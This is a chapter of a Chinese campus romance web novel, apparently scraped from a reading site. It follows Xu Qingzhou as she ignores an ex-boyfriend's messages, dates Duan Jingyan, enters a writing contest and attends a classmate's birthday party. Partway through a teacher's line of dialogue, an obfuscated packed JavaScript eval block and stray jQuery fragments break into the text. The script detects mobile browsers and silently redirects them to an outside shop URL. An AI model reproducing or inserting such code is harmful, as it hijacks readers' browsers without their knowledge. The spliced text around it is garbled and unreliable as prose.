这条消息,没有收到回复。
江听林一向很好的睡眠质量,罕见破功。
凌晨三点,他睁着两眼,第二十次拿起手机。
许清昼看到了?
还是没看到?
为什么没有回呢?
他不知道,一直熬到早上七点,才迫不及待发过去第二句。
——[回我一下好吗?]
赶着上早八的许清昼睁开眼,收拾一通,看到了江听林发来的消息。
她将消息划过去,连点开都没点开,手机按灭,装进口袋里,抱着书和齐恬恬一起出发。
已经不是单身了,还和前男友联系,没这个道理,她选择置之不理。
可后来,她见识到了,什么叫锲而不舍的前男友。
江听林开始频繁给她发消息,越来越起劲。
许清昼想着,自己当初舔着江听林的时候都没这么有毅力,看来江听林这人,做事还真是有一套。
放学了,段景岩已经等在楼下,打算和她一起吃午饭。
这才是当女朋友的感觉啊,许清昼想,原来只有她等江听林吃饭的份,现在也有人在楼下等她了,这感觉真是爽。
怪不得齐恬恬那么喜欢谈恋爱呢。
二人并肩走在路上,来来往往的人有不少都在偷看他俩。
那天众目睽睽之下,当着全校人的面表白,二人直接出了名。
段景岩本就是校园风云人物,被他这么一搞,连带着许清昼也跟着水涨船高,关注度直线上升。
许清昼不喜欢被关注的感觉,恰逢这时,遇见一个段景岩的熟人,那人上下打量他俩一番,露出一抹揶揄的笑。
“岩哥,抱得美人归啊!”
段景岩嘻嘻哈哈地回复:“少来!”
许清昼未发一言,忍下心中的一丝不快,被他拉着往食堂走。
下午段景岩有课,等他下课,二人又一起去大学城吃了晚餐,晚上就并肩在操场上溜达。
一整天的时间,除却上课时分离,其他时间二人全程黏在一块。
许清昼这下明白为什么齐恬恬谈恋爱的时候老见不着人影了。
夜风习习,段景岩拉着她的手,慢慢踱步在操场上。
二人手牵手,像一对再自然不过的年轻小情侣,亲亲热热、甜甜蜜蜜。
段景岩很健谈,也惯会与人拉近关系,言谈间几下就打开了话匣。
“你看我这样,其实我这个人是很内敛的,粥粥你不知道吧,我跟你说我小时候其实很内向,小时候还遭遇过霸凌……”
他没有说假话,段景岩小时候的确过得不如意。
他长得帅、受追捧,是发育之后的事情,发育前,因为面皮薄、身板小,经常被同龄人嘲笑长得像女孩。
他是土生土长的大城市人,家境不错,从小上的私立学校。但越是富人多的地方,阶级越是分明。连小孩子都会拿家世压人,越是小的时候,恶越鲜明,常常因为一丝不快就肆意欺凌别人,不计后果,不管对错。
他尝试过向父母求助,可他的父母是一对更不靠谱的伪成年人。
段景岩爸爸是上市公司老总,有钱有势,人家说,如果你有一个有钱的妈妈,那你就有幸福的人生;如果你有一个有钱的爸,那就会有数不尽的兄弟姐妹。
段景岩就是如此,从他记事起,就不断有大着肚子的女人找上门来,恳求他爸爸给个名分。
他尝试向妈妈求助,可那个因为相信爱情嫁给了他爸爸后,反而被伤的彻底的女人,再也不想投身于家庭,转头花天酒地,一心只在美容和养男模身上,对他这个儿子不管不问。
段景岩没体验过什么叫信任的亲密关系,更没有依恋感,所以他有样学样,也从不在感情中认真。
他信奉达尔文主义的社会法则,在感情中也是如此,有需求,解决需求、有欲望,满足欲望,仅此而已,不谈别的。
此时此刻,他说了一大堆自己小时候的遭遇,九分真、一分假,只是为了拉近与眼前女孩的关系,好让她心疼自己,快速对他产生怜爱。
谁知,许清昼和以往那些小心翼翼安慰他的女孩不一样。
她眉毛一拧,怒气冲冲道,“你应该狠狠地反抗,我跟你说,我小时候也遭遇过霸凌,那些人把我围在教室里,前后门关上,拿拖把打我,书包砸我。”
“我没怕,我直接端起了板凳,握着板凳腿,转着圈对他们狠砸,谁敢靠近我,我就敢给谁脑袋砸破。”
“后来他们都怕了,没人再敢骂我是没妈要的小孩。”
“要是当时有我在,我一定会保护你的,谁敢欺负你,我就把谁脑袋卸下来。”
她说得斩钉截铁,段景岩愣住。
他体验到了一种从未有过的被维护感。
这种感觉直击他的心脏,让他一时反应不过来。
原来这种维护感,才是他毕生所追求的东西。
他有种被闪电照进了内心,然后心脏防护壳碎裂的感觉。
这种感觉反而让他无所适从,就像动物的本能,猛一见光,瞬间就想逃避。
他断断续续地转移话题,可内心的震颤还在回旋。
平生第一次,他感受到了手足无措的心动。
————
周五晚上,许清昼在电脑旁敲键盘,她被老师按头参加了一个全国级征文比赛,许清昼本不想参加,对她来说,要想写出一篇好的文章,需要她把自己剖开,一点一点沉浸在痛苦脆弱的情绪中,才能憋出好的字。
大一的时候,老师就夸赞过,她的文字很有情感。
许清昼也不知道自己有这个天赋,后来参加了几次比赛,均取得了很好的成绩,老师盛赞她是天才,以后每次比赛都按头她参加。
只有许清昼知道,她的天赋,来源于她特殊的生长经历,以及这么多年深入骨髓的苦痛。
苦难造就文学,真不是说说而已。
眼看大三还剩一个学期,这次的全国性征文比赛是有史以来最权威的比赛,但是光名气大、含金量高,并没有设置比赛奖金,许清昼就兴趣缺缺。
她又不考研,毕业了也不想从事对口工作,这个头衔对她来说屁用没有。
文学老师是个五十多岁、出过很多本书,情感非常丰富的中年女人。
为了让她参赛,提着她的耳朵对她耳提面命,“小丫头片子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887528|212605||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,你不参加也得参加!”
过了后,老师又语重心长道:“孩子,老师在天江任教多年,带过的研究生也不少了,像你这么有灵气的娃儿不多见,你不要浪费了这份灵气,好好打磨,钻研出成果,才是更值得做的。”
许清昼叹了口气,文学梦不是谁都能追求得起的,像她这样没有靠山的人,光去追求艺术了,张嘴喝西北风啊?
已经大三了,大家都在考虑出路,身边同学深造的深造,考公的考公,大部分学生教师资格证已经考过了,在准备教招。
汉语言文学出路并不算多,但以上路子都不是许清昼想走的,她另辟蹊径,想在他的大千世界多闯一闯。
这个比赛算最后一次了,她准备再努力一把,为自己的学生时代留下一点遗产。
这个时候,赵雯却蹭了过来,看了看她屏幕素质不高的电脑,向她打听道:“粥粥,写多少了?”
“大纲憋出来了。”
她随口一说,宿舍里只有许清昼和赵雯两个人参加了比赛。
赵雯打算保研,保研下学期就开始申请了,如果能在这次比赛中拿到一个好名次,那她保研成功的几率将会大大增加。
赵雯眼珠一转,嘴上说着违心的话:“粥粥,你真厉害,拿了过那么多名次,有空了也教教我该怎么写呗?”
许清昼无可无不可,“行。”
齐恬恬化好了妆,对二人道,“走吧,生日会马上不就要开始了,黄思潼那边应该准备好了。”
今天就是黄思潼的生日,许清昼随二人下了楼,到了校门口,打了辆车,向餐厅驶去。
黄思潼的生日会定在一家高档餐厅,开了间小百来平的包厢,除却正中一张足以容纳二三十人的大圆桌外,休息区,娱乐区,以及旁边成簇的鲜花,展台,还有满墙她的写真海报,都能看出来,大小姐资金不菲,爱意充盈。
许清昼空着手,她给黄思潼发过红包了,被齐恬恬挽着胳膊走进包厢。
赵雯夸张地订了一大束花,手里还拎着礼物,仿佛觐见偶像般,看到黄思潼,热情的递了过去,“思潼,祝你生日快乐。”
黄思潼随手一接,将花放在成束的鲜花堆里,不太在意。
反而转头亲亲热热地拉住许清昼和齐恬恬,热切问候,“你们来了,快进来坐,吃饭还有一会儿呢,先随便玩玩。”
许清昼和齐恬恬非常不适应。
二人对视一眼,面面相觑,黄思潼今天怎么了,转性了?
齐恬恬贴近她的耳廓,“真会装。”
二人被黄思潼迎进沙发,黄思潼随口向赵雯嘱咐道:“雯雯,你帮我搬一下酒水,我爸爸从意大利空运过来的红酒。”
赵雯乖乖的像个小婢女般,跑去干活了。
沙发附近坐了不少女孩,许清昼刚一坐下,就发现有不少人在盯着她看。
自从上次段景岩高调表白后,她就在天江小小的出名了,此刻被人盯着看也不稀奇。
直到被人张口打了声招呼,她才发现其中一人竟然还是老熟人。
莫姝颜挽着一个同样艳丽,眼角眉梢还带着英气的高马尾女孩,向她挥挥手道:“许清昼,又见面了。”